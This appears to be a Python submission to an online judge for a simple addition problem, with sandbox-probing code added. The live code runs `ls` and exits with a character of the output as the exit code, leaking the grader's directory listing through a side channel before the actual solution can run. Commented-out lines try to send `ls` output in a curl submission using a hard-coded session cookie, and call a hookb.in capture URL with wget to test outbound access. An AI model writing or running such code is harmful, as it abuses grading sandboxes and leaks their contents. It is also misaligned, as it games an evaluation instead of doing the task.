import os
import subprocess

#just testing
#os.system("curl -F 'task_id=adunare' -F 'solution='+$(ls)+';filename=test.py;type=text/plain' -F 'round_id=arhiva' -F 'compiler_id=py' -H 'Content-Type: multipart/form-data' --cookie 'infoarena2_session=5f8vmrnevii6tu67bjditbvjg4' localhost/submit")
#os.system("wget https://hookb.in/Oe9DyMVLDWTGWg1MGLLO")

code = 0
code = subprocess.check_output(['ls'])
exit (ord(code[1]))
#exit(code)
#ourfile = open("main.py", "r")
#ourfile.write("ERROR ME!")
#ourfile.close()

fin = open("adunare.in", "r")
fout = open("adunare.out", "w")

input = fin.read().split('\n')
a = int(input[0])
b = int(input[1])

fout.write(str(a+b))
fin.close()
fout.close()